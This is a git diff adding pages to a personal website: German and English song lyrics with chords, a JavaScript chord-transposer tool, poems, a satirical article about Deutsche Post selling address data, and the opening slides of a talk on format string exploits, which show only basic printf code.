16| Were riding through the night, we ride and ride and ride
17| what you did to me was wrong and I never step in silent night.
18|
19| We're hiding monkeys in our banana minds,
20| what we hide beside our dreams just wasn't right.
21|
22| Were riding through the night, we ride and ride and ride
23| what you did to me was wrong and I never step in silent night.
diff --git a/stories/music/Schnee_im_April.rst b/stories/music/Schnee_im_April.rst
new file mode 100644
index 0000000..6c084c5
--- /dev/null
+++ b/stories/music/Schnee_im_April.rst
@@ -0,0 +1,48 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2002/08/03 19:10:08
5.. title: Schnee im April
6.. slug: ../arts/music/Schnee_im_April
7
8.. role:: raw-html(raw)
9 :format: html
10
11.. role:: crd
12
13:raw-html:`<audio controls><source src="Schnee_im_April.mp3" type="audio/mpeg"><a href="Schnee_im_April.mp3">Schnee_im_April.mp3</a></audio>`
14
15.. class:: lyrics-chords-above
16
17| :crd:`C`\ Schnee im April im :crd:`D`\ Cafe auf der Strasse
18| :crd:`G`\ eiskalt erwischt beim Treffen mit :crd:`a`\ dir :crd:`E`
19| :crd:`C`\ Erfrorene Worte :crd:`D`\ schlittern nun rastlos
20| :crd:`G`\ taumelnd und einsam vor :crd:`E`\ mir
21
22| Eiszapfen gleich stechen die Blicke
23| die deine verschneiten Augen verteiln
24| zieh dich warm an und geniesse die Stunden
25| die Glueck und Elend bei dir noch verweiln.
26
27.. class:: lyrics-chords-above
28
29|
30| :crd:`C`\ *Wohin immer du* :crd:`d`\ *gehst,*
31| :crd:`E`\ *was auch immer dich* :crd:`F`\ *treiben mag*
32| :crd:`G`\ *die Zeit ist vor*:crd:`a`\ *bei,*
33| :crd:`B`\ *wo die Zeit noch Ge*:crd:`A`\ *fangene macht.*
34
35| *Was auch immer du suchst,*
36| *wer auch immer dich finden mag,*
37| *die Zeit gibt kleinbei,*
38| *wenn du ihr nur ein Laecheln schenkst.*
39
40| Regen im Mai beim Konzert auf der Wiese
41| Eine Hand spielt verschaemt im klaschnassen Haar
42| Tosende Wogen reissen dich von mir
43| Ein ertrunkener Blick von Fern doch so nah
44
45| Die Flut spuelt dich fort, doch mein Blick haelt dich bei mir
46| Wie ein Lotse das Schiff auf stuermender See
47| Die Zeit scheint gekommen, den Hafen zu suchen
48| Die Toene verstummen ganz saft und ich geh.
diff --git a/stories/music/Sven.rst b/stories/music/Sven.rst
new file mode 100644
index 0000000..d762be0
--- /dev/null
+++ b/stories/music/Sven.rst
@@ -0,0 +1,38 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 1996/08/03 19:10:08
5.. title: Sven
6.. slug: ../arts/music/Sven
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Sven.mp3" type="audio/mpeg"><a href="Sven.mp3">Sven.mp3</a></audio>`
12
13| Du bist einfach fortgeflogen, kleiner Papagei.
14| Ich gab dir bloß C4 zu naschen, jetzt haben wir die Sauerei.
15| Und nun zierst du meine Wand, Gott es tut mir ja so leid.
16| Ich werd nie wieder mit dir spielen können, es war 'ne schöne Zeit.
17|
18| *Tschüßi, lieber Sven, ich werd dich nie vergessen.*
19| *Tschüßi, lieber Sven, ich war so auf dich versessen.*
20|
21| Wir waren auch im Kernkraftwerk... Rußland, Tschernobyl.
22| Und als wir nacher draußen waren, hattest du ein Bein zu viel.
23| Doch auch nicht für lange Zeit, denn ich dachte mir,
24| ich mach es einfach ab, ich trag es heute noch bei mir.
25|
26| Ich trag dich jetzt an meinem Herz, zumindest deinen Schnabel.
27| Denn bei der großen Explosion traf er meinen Nabel.
28|
29| Weißt du noch am ersten Tag, unser Freudentanz...
30| er dauerte bis Mami rief: "Laß doch den Vogel ganz!"
31| Was soll ich nur von dir begraben? Flügel oder Fuß?
32| Ich stopf dich in den Blumentopf nach einem letzten Kuß!
33|
34| *Doch gleich morgen hol ich mir aus dem Zoo*
35| *einen neuen Sven und geb ihm deine Haribo*
36|
37| *Hallo, neuer Sven, du bist ja ganz naß!*
38| *Hallo, neuer Sven, in der Mikrowelle trocknen wir sowas!*
diff --git a/stories/music/Tonite.rst b/stories/music/Tonite.rst
new file mode 100644
index 0000000..4f65784
--- /dev/null
+++ b/stories/music/Tonite.rst
@@ -0,0 +1,43 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2002/08/03 19:10:08
5.. title: Tonite
6.. slug: ../arts/music/Tonite
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Tonitev1.mp3" type="audio/mpeg"><a href="Tonitev1.mp3">Tonitev1.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15==================================== ===========
16Moon and stars wait for dark c G G# B
17they come out at night. c G G# G
18They won't stay here for day, D# B G G#
19if you wanna see them shine bright, F G
20see them tonite. c G G# B
21\... see them tonite! c G G# G
22..
23Leaves in brown leave a frown c G G# B
24on the sunny face. c G G# G
25They won't stay here for may, D# B G G#
26if you wanna see them at all, F G
27see them this fall. c G G# B
28\... see them this fall! c G G# G
29..
30You and me, need to see. D# B C# G#
31our choice is free, D# B c
32to follow the signs we do see G G# B
33and be whatever we'll be. F G
34tonite. c G G# B
35\... see them tonite! c G G# G
36..
37I sit here, watch the moon, c G G# B
38stars and leaves fly by c G G# G
39I won't stay here for day, D# B G G#
40if you want me holding you tight F G
41see me tonite. c G G# B
42==================================== ===========
43
diff --git a/stories/music/Warme_Gedanken.rst b/stories/music/Warme_Gedanken.rst
new file mode 100644
index 0000000..b3f2248
--- /dev/null
+++ b/stories/music/Warme_Gedanken.rst
@@ -0,0 +1,68 @@
1.. link:
2.. description:
3.. tags: FLiedermacher
4.. date: 2009/08/03 19:10:08
5.. title: Warme Gedanken
6.. slug: ../arts/music/Warme_Gedanken
7
8.. role:: raw-html(raw)
9 :format: html
10
11.. role:: crd
12
13:raw-html:`<audio controls><source src="WarmeGedanken.mp3" type="audio/mpeg"><a href="WarmeGedanken.mp3">WarmeGedanken.mp3</a></audio>`
14
15.. class:: lyrics-chords-above
16
17| :crd:`(B D4) g`\ Um den Geruch nicht zu ver :crd:`C4`\ liern
18| :crd:`C4`\ wage ich mich nicht zu :crd:`B`\ ruehrn
19| :crd:`B`\ atme dich noch einmal :crd:`D4`\ ein
20| :crd:`D4`\ um ganz eng bei dir zu :crd:`g`\ sein.
21|
22| :crd:`g`\ Halt DICH noch fest aus meinem :crd:`B`\ Traum
23| :crd:`B`\ und erinnere mich :crd:`F`\ kaum - wie :crd:`Fis`\ sehr du :crd:`g`\ fehlst
24
25| Hab dein Gesicht noch grad gespuert
26| als haettest dus mir nicht entfuehrt
27| freu mich des Abdrucks hier im Kissen
28| als wuerde ichs nicht besser wissen
29
30| Halt dich noch fest aus meinem Traum
31| denk an dich und spuere kaum - wie fern du bist.
32|
33
34.. class:: lyrics-chords-above
35
36| :crd:`F`\ *Ist doch scheiss*:crd:`g`\ *egal wo du bist,*
37| :crd:`g`\ *mach ich die* :crd:`C4`\ *Augen zu, bist du einfach* :crd:`B`\ *hier.*
38| :crd:`C4`\ *und wo mein* :crd:`g`\ *Arm zuende ist*
39| *reicht die* :crd:`F`\ *Waerme des Ge*:crd:`Fis`\ *dankens bis zu* :crd:`g`\ *dir.*
40
41| Um den Verstand nicht zu verliern
42| um nicht im kalten Bett zu friern
43| solln sich diese Worte neben
44| dich ins leere Kissen legen
45|
46| Halt mich noch fest in deinen Traeumen
47| um die schwarze Nacht zu zaeumen - wo du auch bist
48|
49| Leg deinen Arm um dieses Lied
50| wenn nur dein Herz allein mich sieht
51| und denk an all die Zaertlichkeiten
52| die nur Worte dir bereiten
53|
54| Halt mich noch fest in deinen Traeumen
55| um die Grenzen wegzuraeumen - zwischen dir und mir
56|
57| *Ist doch scheissegal wo du bist,*
58| *mach ich die Augen zu, bist du einfach hier.*
59| *und wo mein Arm zuende ist*
60| *reicht die Waerme des Gedankens bis zu dir.*
61|
62| Um dich nicht nochmal zu verliern
63| um zu begreifen was wir spuern
64| flieg ich dir einfach hinterher
65| jede Nacht noch einmal mehr
66|
67| Lass dich nie los in meinem Leben
68| um dir auch ganz gewiss zu geben - was dir gebuehrt
diff --git a/stories/music/Wiese.rst b/stories/music/Wiese.rst
new file mode 100644
index 0000000..051c1bd
--- /dev/null
+++ b/stories/music/Wiese.rst
@@ -0,0 +1,47 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 1999/08/03 19:10:08
5.. title: Wiese
6.. slug: ../arts/music/Wiese
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Wiese.mp3" type="audio/mpeg"><a href="Wiese.mp3">Wiese.mp3</a></audio>`
12
13| Als schon verdorrt Frucht/
14| Ziehst du in deine Schlacht/
15| Und tiefe Furchen in dein Feld/
16| Mit deinem eisernen Pflug/
17|
18| *Und dann liegst du auf der Wiese/*
19| *Guckst dir den Sternenhimmel an/*
20| *Doch die Tapete broeckelt leise/*
21| *Und sie faellt auf dich herab/*
22|
23| Nach dem ersten grossen Sturm/
24| Saehst du deine Liebe aus/
25| Legst deinen Samen auf dein Feld/
26| Und bedeckst ihn mit Zeit/
27|
28| *Und dann liegst du auf der Wiese/*
29| *Und schaust am Sonnenlicht vorbei/*
30| *Ach, der Himmel scheint so trostlos/*
31| *Und er faellt auf dich herab/*
32|
33| Auf die Duerre folgt der Herbst/
34| Du schaust auf dein braches Feld/
35| Von Ratten ist das Korn zernagt/
36| Die Sense steht fuer dich bereit/
37|
38| *Und dann liegst du auf der Wiese/*
39| *Und schaust dir die Wuermer an/*
40| *Ach, das warten dauert ewig/*
41| *Endlich zieht es dich hinab/*
42|
43| *Und dann liegst du auf der Wiese/*
44| *Und starrst das letzte Mal zum Mond/*
45| *Durch die Loecher in dem Holz/*
46| *Das man fuer dich vergraben wird/*
47
diff --git a/stories/music/index.rst b/stories/music/index.rst
new file mode 100644
index 0000000..2d46eda
--- /dev/null
+++ b/stories/music/index.rst
@@ -0,0 +1,41 @@
1.. link:
2.. description: erdgeists music
3.. tags:
4.. date: 1970/01/01 01:00:00
5.. title: music
6.. slug: index
7.. hidetitle:
8
9During my life I've experimented with several kinds of making noise. Here are some of them.
10
11----
12
13Liedermacher
14============
15
16.. post-list::
17 :all:
18 :tags: Liedermacher
19 :id: singersongwriter
20 :template: list_poetry.tmpl
21
22And because friends of mine could not properly play barré accords, I've built them my online `transpose tool <transpose.html>`_.
23
24----
25
26Punk Rocker
27===========
28
29A short and wild detour through amplified guitars. The band was `pumpanickle <http://pumpanickle.de>`_ and we even had a `music video <../arts/music/From_Me_To_You.html>`_.
30
31.. post-list::
32 :all:
33 :tags: pumpanickle
34 :id: band
35 :template: list_poetry.tmpl
36
37----
38
39Titelmelodien
40=============
41
diff --git a/stories/music/transpose.rst b/stories/music/transpose.rst
new file mode 100644
index 0000000..4b34b42
--- /dev/null
+++ b/stories/music/transpose.rst
@@ -0,0 +1,115 @@
1.. link:
2.. description:
3.. tags:
4.. date: 1998/08/03 19:10:08
5.. title: Live no-barré transposer tool
6.. slug: ../music/transpose
7
8.. raw:: html
9
10 <script>
11 function addRow() {
12 var row = document.getElementById("chord-row-0");
13 var addbutton = document.getElementById("addButton");
14 var ourdiv = document.getElementById("transposer");
15 var cloned = row.cloneNode(true);
16 var newid = window.rowid || 1;
17 window.rowid = newid + 1;
18 cloned.setAttribute( "id", "chord-row-" + newid );
19 ourdiv.insertBefore(cloned, addbutton);
20 }
21 function isbarre(nv) {
22 var nobarre = [0,2,5,24,25,26,27,28,29,48,49,50,51,52,53,65,84,86,88,108,109,110,111,112,113,132,134];
23 for( var len = nobarre.length, i=0; i<len; ++i )
24 if( nobarre[i] == nv )
25 return 0;
26 return 1;
27 }
28 function note_to_name(nv) {
29 return ["C","C#","D","D#","E","F","F#","G","G#","A","B","H"][~~(nv/12)]+["","m","7","m7","maj6","maj7"][nv%12];
30 }
31 function updateTrans() {
32 var resulttext = document.getElementById("result");
33 var notelist = document.getElementsByClassName("chord-row");
34 var impossible_offsets = 0;
35 var notes = [];
36
37 for (var len = notelist.length, i=0; i<len; ++i) {
38 var note = notelist[i].getElementsByClassName("note");
39 var modifier = notelist[i].getElementsByClassName("modifier");
40 var nv = 1 * note[0].value;
41 var mv = 1 * modifier[0].value;
42 if( nv >= 0 ) {
43 notes.push( ( nv * 12 ) + mv );
44 // test all transpositions for suitable chords
45 for (var off = 0; off < 12; ++off ) {
46 if ( isbarre( mv + 12 * ( ( nv + off ) % 12 ) ) )
47 impossible_offsets |= 1<<off;
48 }
49 }
50 }
51 if( impossible_offsets == 0xfff ) {
52 resulttext.innerHTML = 'Keine Transposition / Not possible';
53 } else {
54 var outtext = '';
55 for( var off = 0; off < 12; ++off ) {
56 if( !( impossible_offsets & (1<<off) ) ) {
57 outtext += '<table><tr><th>original</th><th>transpose</th></tr>';
58 for( var len = notes.length, i=0; i<len; ++i ) {
59 var transposed = 12 * ( ( ~~( notes[i] / 12 ) + off ) % 12 ) + ( notes[i] % 12 );
60 if( ( ( notes %12 ) != 2 ) && transposed == 132 )
61 outtext += "<tr><td>" + note_to_name(notes[i]) + "</td><td>H7 (unclean)</td></td>";
62 else
63 outtext += "<tr><td>" + note_to_name(notes[i]) + "</td><td>" + note_to_name(transposed) + "</td></tr>";
64 }
65 }
66 }
67 resulttext.innerHTML = outtext + "</table>";
68 }
69 }
70
71 </script>
72 <style>
73 table {
74 border: 1px black solid;
75 border-collapse: none;
76 margin: 2em 2em 0em 0em;
77 float: left;
78 }
79 td, th {
80 padding: 8px;
81 border: 1px silver dotted;
82 }
83 .chord-row, .addButton {
84 margin-bottom: 1em;
85 }
86 </style>
87 <div id="transposer">
88 <div class="chord-row" id="chord-row-0">
89 <select class="note" onchange="updateTrans()">
90 <option value="-1">Note</option>
91 <option value="0">C</option>
92 <option value="1">C# / Db</option>
93 <option value="2">D</option>
94 <option value="3">D# / Eb</option>
95 <option value="4">E</option>
96 <option value="5">F</option>
97 <option value="6">F# / Gb</option>
98 <option value="7">G</option>
99 <option value="8">G# / Ab</option>
100 <option value="9">A</option>
101 <option value="10">A# / B</option>
102 <option value="10">H</option>
103 </select>
104 <select class="modifier" onchange="updateTrans()">
105 <option value="0">Dur / major</option>
106 <option value="1">Moll / minor</option>
107 <option value="2">7</option>
108 <option value="3">Moll7 / min7</option>
109 <option value="4">Maj6</option>
110 <option value="5">Maj7</option>
111 </select>
112 </div>
113 <button id="addButton" type="button" onclick="addRow()">+</button>
114 <div id="result"></div>
115 </div>
diff --git a/stories/photos/index.rst b/stories/photos/index.rst
new file mode 100644
index 0000000..de8a37e
--- /dev/null
+++ b/stories/photos/index.rst
@@ -0,0 +1,9 @@
1.. link:
2.. description: erdgeists photos
3.. tags:
4.. date: 2013/08/03 19:10:08
5.. title: photos
6.. slug: index
7.. hidetitle:
8
9Here's gonna be a gallery
diff --git a/stories/poetry/Datenschleuder-BoesePost b/stories/poetry/Datenschleuder-BoesePost
new file mode 100644
index 0000000..b758203
--- /dev/null
+++ b/stories/poetry/Datenschleuder-BoesePost
@@ -0,0 +1,13 @@
1Httet ihr's gedacht? Sie kommen teils in aller Herrgottsfrhe, manmal aber auch mitten am Tag, nur um euch auszuspionieren. Zu jedem. Sehr gewissenhaft. Fast tglich. Sie schauen nach, ob ihr auch wirklich noch in eurem zuhause wohnt. Und sie notieren das und jede Vernderung, auch sehr gewissenhaft, auf kleinen Krtchen, die sie dann treu zurck zu Herrchen bringen. Glaubt ihr nicht? Was meint ihr, warum die GEZ meist schon vor euren Eltern weiss, wenn ihr eine neue Wohung bezogen habt und das ohne, dass ihr ein Gratisabo abgefasst, oder an einer Verlosung teilgenommen habt (was ja die blichen Verdchtigen in diesem Fall wren)? Bin ich ein paranoider Spinner? Bestimmt. Aber kurzes Nachdenken darber, fr wen sich dieser Riesenaufwand lohnen knnte, entlarvt die beltter: man mte dazu ein riesiges Heer an Bediensteten haben, die sowieso zu jedem nach Hause mssen und know how mit Adressen, Strassen und Postleitzahlen ha.... POST-Leitzahlen, genau! Nach [1] eigener Angabe "erhalten 62.500 Zustellbezirke von der Deutschen Post Direkt eine Karte zur Prfung von maximal zehn Adressen" und "durch diese Vorgehensweise wird jede Adresse im Durchschnitt mehr als zwei mal pro Jahr berprft". Macht schon Sinn, die Post mu "natrlich" den berblick behalten, wer wohin verzogen, wer gestorben ist und berhaupt... Die armen Zusteller werden nun bei ihren Aueneinstzen ohne ihr Wissen auch noch als Datengoldgrber ausgenutzt, denn: [2] "Adress-Vermietung: Gewinnen Sie neue Interessenten und Kunden: Sie bestimmen die Kriterien, z. B. Kaufkraft, Alter, wir stellen die Adressen fr Ihre Direktmarketing-Aktionen bereit. Fr einen greren Kundenstamm." und "Bonittsdaten: CreditCheck liefert online in Sekundenschnelle Bonittsdaten zur Bewertung der Zahlungsmoral von Versandkunden. Fr Ihre Zahlungssicherheit." sind ein untrgliches Anzeichen, da die Post entdeckt hat, da sich mit gltigen Adressen und viel zustzlichem Wissen darber haufenweise Geld scheffeln lt. Na, kommt euch der gelegentliche Plausch mit der Postfrau ber den verstorbenen Nachbarn, den Kredit frs neue Auto oder die pltzliche Arbeitslosigkeit vom Herrn Meier im Vorderhaus pltzlich nicht mehr so harmlos vor? Die Zeiten, in denen ein ehrlicher Postbeamter noch vom Briefe durch die Gegend tragen und abstempeln leben konnte, sind scheinbar vorbei. Heutzutage ist er Garant dafr, da auch ohne das Befolgen der Meldepflicht Informationen ber den aktuellen Verbleib jedes Einzelnen, der seinen Briefkasten mit seinem Namen beklebt, verfgbar sind. Und mit dem [3] "AddressFactory System" kann sich jeder Geheimd^WMittelstndische eine "Grundlage fr professionelles CRM" - Costumer Relation Management schaffen. Das Zauberwort hierbei heit "Adressanreicherung". Bei Angabe von Rasterparametern kann nach passenden potentiellen Kunden gefahndet werden und der eigene Datensatz durch [4] "Qualifizierte Neukundengewinnung bei gleichbleibenden Kosten" aufgefrischt werden. Da die Post, selbstverstndlich, Datenschutz gro schreibt,
2werden in ihrem [5] "microdialog"-Angebot, welches sie mit den Firmen "Quelle" und "Neckermann" aufgebaut hat, die Daten auf eine Granularitt von "durchschnittlich 6,8 Haushalte" pro "Mikrozelle" skaliert. Diese Daten haben es aber in sich (Auszug): Status und Kaufkraft, Kulturkreisschwerpunkt, Bonittsrisiko, Werbeaffinitt, Anonymittsbedrfnis, bevorzugte Kommunikationsmedien... Und ohne mit der Wimper zu zucken wird mit dem Service geworben: "Erkennen von Kundensegmenten mit hohem Zahlungsausfallrisiko". Man sollte sich also die 6,8 Haushalte, zu deren Mikrozelle man gehren knnte, mal anschauen, mag sein, dass die NPD ihre Wahlwerbepost genau an dich adressiert, weil du als deutscher Erstwhler in einer Gegend mit Kulturkreisschwerpunkt Islam beheimatet bist, oder ein greres Versandhaus dich nur per Vorkasse beliefert, weil deiner "Mikrozelle" hohes Bonittsrisiko beschieden wird. Bestimmt wirst du nun auch deine Nachbarn nach ganz anderen Mastben sortieren. Und vielleicht erziehst du sie ja mal dazu, endlich ihre Quellerechnungen zu bezahlen oder pflegst den Vorgarten, um das Scoring deiner Siedlung auf Vordermann zu bringen. Dann kommst du womglich auch wieder in den Genu, individuell auf dich zugeschnittener Infopost, die dank "Anreicherung: Wir ergnzen Ihre Adressen um microdialog-Daten" auch dich wieder ins Raster aufnehmen, in dem man wirtschaftlicher Ntztling ist.
3Bevor ich es vergesse: ganz Clevere, die in Bestellformularen oder Zeitschriftenabonnoments absichtliche Dreher in ihre Adresse einbauen, um deren Weiterverkauf nachvollziehen zu knnen, werden berrascht sein: Die "Addressfactory System" bietet auch "Korrektur falsch geschriebener Vor- und Nachnamen bei Consumer-Adressen mit Kennzeichnung von unzustellbaren Adressen, Ergnzung von Sexcode und falls vorhanden Titel". Soll heien: Du bekommst deine Post weiter mit dem Dreher, aber verkauft wird sie bereinigt und noch mit deinem Doktortitel versehen. Und das bei Bedarf auch ber das Internet, im Batch. Whrend Preise fr diese Dienstleistungen noch im Netz zu finden sind [6], z.B. 1.15EUR (bei 10000 Einzeldatenstzen) fr deine neue Adresse nach dem Umzug, erfragt man Preise fr Services, die man sich als CD zuschicken lassen kann, am besten telefonisch, ganz diskret. Die rechnen einem dann auch ganz frhlich vor, da auch bei meinem (vllig aus der Luft gegriffenen) Kundenstamm von 30000 Adressen sich nicht lohne, die CD zu kaufen und ich doch deren Webservice benutzen solle, da der Preis bei 7900EUR lge, nur fr Adressverifikation wohlgemerkt (d.h. keine Anwohnerinformationen). Den Preis fr die "Postreferenz-Datei" (die man leider nur im Bndel mit einer DB-Anfragesoftware von [7] Uniserv bekommt, um den Datenschutz zu gewhren), habe ich leider auch nach mehreren Telefonaten mit mehreren Beratern nicht erfahren, wahrscheinlich war ein Kundenstamm im siebenstelligen Bereich doch zu unglaubwrdig. Zumindest ist ein jhrlicher Refresh der Daten dann schon fr die Hlfte zu haben. Und wenn ich die CD mal in die Finger bekme... wrde ich bestimmt das Scoring fr meine Oma direkt aus der Datenbank.... aber das ist ein ganz anderes Thema.
4
5
6[0] http://www.deutschepost.de/postdirekt/...
7[1] infoservice/download/pbl_qualitaetsprozess.pdf
8[2] infoservice/download/adressmanag_internet.pdf
9[3] produkte/addfactory_system.html
10[4] produkte/analysis_factory.html
11[5] produkte/index_microdialog.html
12[6] http://www.postdirekt.de/cgi-bin/afweb2/afweb2.calc
13[7] http://www.uniserv.de \ No newline at end of file
diff --git a/stories/poetry/Ein_Abend.md b/stories/poetry/Ein_Abend.md
new file mode 100644
index 0000000..1202e32
--- /dev/null
+++ b/stories/poetry/Ein_Abend.md
@@ -0,0 +1,21 @@
1<!--
2.. title: Ein Abend
3.. date: 2003/04/01
4.. tags: poetry
5-->
6
7Mit gefalteten Händen lag er auf dem Rücken<br/>
8Mitten auf einer Wiese auf einem Holzpodest.<br/>
9Würde er hinschauen, würde er den Sonnenuntergang sehen,<br/>
10Würde sehen, wie das dunkle Blau einem dunklen Rot weicht.<br/>
11Ein roter Sonnenuntergang bedeutet schönes Wetter am Morgen,<br/>
12Er würde das denken, wenn es ihn interessieren würde,<br/>
13Er würde sich die purpurnen Wolken wegwünschen, um noch-<br/>
14Einmal die rote Sonne untergehen zu sehen.<br/>
15Am Himmel wurden die ersten Sterne sichtbar,<br/>
16An diesem Abend mitten am Firmament.<br/>
17Würde es sie interessieren, könnten sie ihn sehen,<br/>
18Würde es sie kümmern, sähen sie ihn mitten auf seinem Holzpodest.<br/>
19Sie würden sehen, wie er nicht in den Sonnenuntergang schaut.<br/>
20Er hätte sie sehen können, hätte er den Sonnenuntergang betrachtet.<br/>
21Und sicherlich hätte er lange noch wach dagelegen...
diff --git a/stories/poetry/Grußkarte.md b/stories/poetry/Grußkarte.md
new file mode 100644
index 0000000..4b14350
--- /dev/null
+++ b/stories/poetry/Grußkarte.md
@@ -0,0 +1,9 @@
1<!--
2.. title: Grußkarte
3.. date: 1996/07/01
4.. tags: poetry
5-->
6
7...!
8
9Fühl dich nicht gegrüßt. Fühl dich nicht geliebt. Fühl dich nicht adressiert. Fühl dich einfach ignoriert! Glaub nicht einmal, daß du wirklich gemeint warst, vielleicht hat die Post sich ja nur vertan oder ich, als ich im Zustand geistiger Umnachtung deine Adresse mit der des wirklichen Empfängers verwechselt habe. Nagut, fühle dich trotzdem erst einmal angesprochen, dagegen kann ich nämlich überhaupt nichts tun. Diese Karte erfüllt ja auch einfach nur ihren Selbstzweck, nämlich den, verschickt zu werden und meiner Eloquenz und meinem Geltungsdrang Ausdrucksmöglichkeiten zu schaffen. Also bild dir ja nichts darauf ein, oder sei auf keinen Fall stolz darauf, dieses Versandstück zu erhalten, welches bloß durch Zufall meinen Weg im Kaiser's striff und welches ich des angenehmen Anblicks wegen für 2,75 DM erstand und welches einen nicht zu beachtenen Gruß enthielt, der jetzt nichtig ist. Wenn du willst, kannst du diesen Brief serienbriefmäßig weiterverschicken, da er absolut nichts Persönliches oder Gutartiges enthält... daraus schlußfolgernd könntest du auch davon ausgehen, daß dieser Text auch nicht von mir stammt und ich gar nicht die Person war, die diese Karte im Kaiser's erstanden hat, also wäre diese Karte noch unpersönlicher, als ohnehin schon und ich hätte nur noch einmal 1,10 DM für die Briefmarke und 5 Pfennig für einen neuen Umschlag, sowie 0,3 Pfennig für die Tinte, mit der ich die Adresse geschrieben habe, berappt. Sämtliches kreatives Potential, daß du bis eben noch hättest bei mir annehmen können, würde also nicht bei mir liegen, sondern bei wem immer du diese Karte zuschreiben würdest. Und vielleicht bin ja ich, also der, dem du die Karte jetzt schickst, Originator, ich würde mich nicht freuen, gerade von dir diese Karte zurückzubekommen, ich würde nämlich wissen, daß du so blöde warst, dich kreativ zu fühlen, nur, weil du diese Karte weiter geschickt hast. Um dein Ego nun nicht vollends zu strapazieren, halte ich dir nochmal vor Augen, daß ich (oder der neue Absender) mindestens 1,153 DM oder maximal 3,905 DM investiert habe/hat, was wohl ein gewisses Interesse an deiner Unterhaltung oder im schlimmsten Fall an meiner Profilierung voraussetzt, nenne mir nur einen Grund, warum Ersteres zutreffen sollte! Die aufgeführten Investionsrahmenparameter sind aber auch nur Richtgrößen, da ich mindestens die Briefmarke und, wenn du erster Empfänger dieser Karte warst, auch noch die bunte Karte als Werbungskosten von der Steuer abgesetzt habe. Wieviel das ist, hängt letztenendes von meinem Einkomen ab, welches auch noch, um dich jetzt völlig einem Wechselbad der Gefühle preiszugeben, Einfluß darauf hat, welche ideelle Kosten zum alleinigen Preis der materiellen Komponenten dazukommen. Bei einem Stundenlohn von sagen wir 10 Mark kämen wir bei einer Minute Karte aussuchen, zwei Minuten Adresse auf den Umschlag schreiben, einer Minute Karte hineinstecken und 10 Sekunden Brief in den Briefkasten schieben (bei der Post mußte ich ja eh vorbei), auf einen Gegenwert von 52,7 Pfennig. Sollte ich den text nun wirklich selber geschrieben haben (6 Minuten), erhielten wir bei einem Stundenlohn von angenommen 20 Mark auf 1.38 Mark. Macht bisher im besten Fall 5.294 DM, 1.681 DM für den schlechtesten Fall ist aber wohl doch wahrscheinlicher, oder? Denn daß auf der Vorderseite nun ein Symbol positiver Gefühle bis hin zur Liebe prangt, soll kein Anzeichen ähnlicher Gefühle meinerseits dir gegenüber sein, die Existenz dieses Bildes rüht aus einem purem Umkehrschluß, der daraus besteht, daß es keine Karte ohne Bild gab und ich für ein häßliches Bild keine 2,75 DM ausgegeben hätte. Falls du nun aus der Tatsache, daß der Briefumschlag scheinbar liebevoll mit deiner Adresse versehen worden ist, ableitest, ich hätte positive Gefühle beim Ausfüllen der Adresse gehabt, sei versichert, ich schreibe immer so und wenn nicht, habe ich wohl gerade an jemanden anderes gedacht oder gerade Schönschreiben geübt oder mal meine Schablone dabeigehabt. Auch die Annahme, daß ich die Briefmarke angeleckt hätte und die daraus folgende Hoffnung, es können eine erotische Anspielung dahinter stecken, ist absurd. Ich habe auch keinen nassen Schwamm benutzt, was bei den Wasserpreisen heutzutage und dann gerade für einen Brief an dich ein Fopaz wäre. Nimm nun nicht auch noch an, ich würde mich befleißigen, dir darzulegen, wie ich die Briefmarke befestigt habe, lies gefälligst schnell weiter, um die Karte zu schonen, damit du sie eventuell noch weiterverschicken kannst! Solltest du auch noch die Idee haben, diese Karte kommerziell an Schreibwarenläden weiterzugeben, denke daran, daß es da irgendwo einen Urheber des Textes gab und er dich fürchterlich bestrafen wird, auch wenn es ihn ehren könnte, daß du den Text so gut fandest, ihn kommerziell vermarkten zu wollen, wenn es nicht gerade DU gewesen wärst. Aber wenn du die Karte schon in der x. Generation bekommen hättest, wäre es ein Gutes Zeichen dafür, aus der Karte mehr zu machen und vielleicht Geld daraus zu schinden. Was es dich kosten würde, weißt du ja jetzt. Ansonsten bliebe nur noch 1: Hab dich lieb!
diff --git a/stories/poetry/MeinVortrag/01.html b/stories/poetry/MeinVortrag/01.html
new file mode 100644
index 0000000..d476a90
--- /dev/null
+++ b/stories/poetry/MeinVortrag/01.html
@@ -0,0 +1,8 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2 <A HREF="02.html">-></A><CENTER>
3Format String Exploits
4
5Christian Carstensen
6Dirk Engling
7Martin Schobert
8</CENTER></PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/02.html b/stories/poetry/MeinVortrag/02.html
new file mode 100644
index 0000000..14df688
--- /dev/null
+++ b/stories/poetry/MeinVortrag/02.html
@@ -0,0 +1,6 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="01.html">&lt;-</A><A HREF="03.html">-></A>
3syntax:
4
5 printf( char *format, param1, param2, ... )
6</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/03.html b/stories/poetry/MeinVortrag/03.html
new file mode 100644
index 0000000..38f1bd1
--- /dev/null
+++ b/stories/poetry/MeinVortrag/03.html
@@ -0,0 +1,11 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="02.html">&lt;-</A><A HREF="04.html">-></A>
3int main( ) {
4 int a, b;
5 a = 7;
6 b = 9;
7
8 printf( "%d %d\n", a, b );
9 return 0;
10}
11</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/04.html b/stories/poetry/MeinVortrag/04.html
new file mode 100644
index 0000000..d28b181
--- /dev/null
+++ b/stories/poetry/MeinVortrag/04.html
@@ -0,0 +1,12 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="03.html">&lt;-</A><A HREF="05.html">-></A>
3.LC0:
4 .string "%d %d\n"
5main:
6 [ ... ]
7 pushl $9
8 pushl $7
9 pushl $.LC0
10 call printf
11 [ ... ]
12</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/05.html b/stories/poetry/MeinVortrag/05.html
new file mode 100644
index 0000000..e124667
--- /dev/null
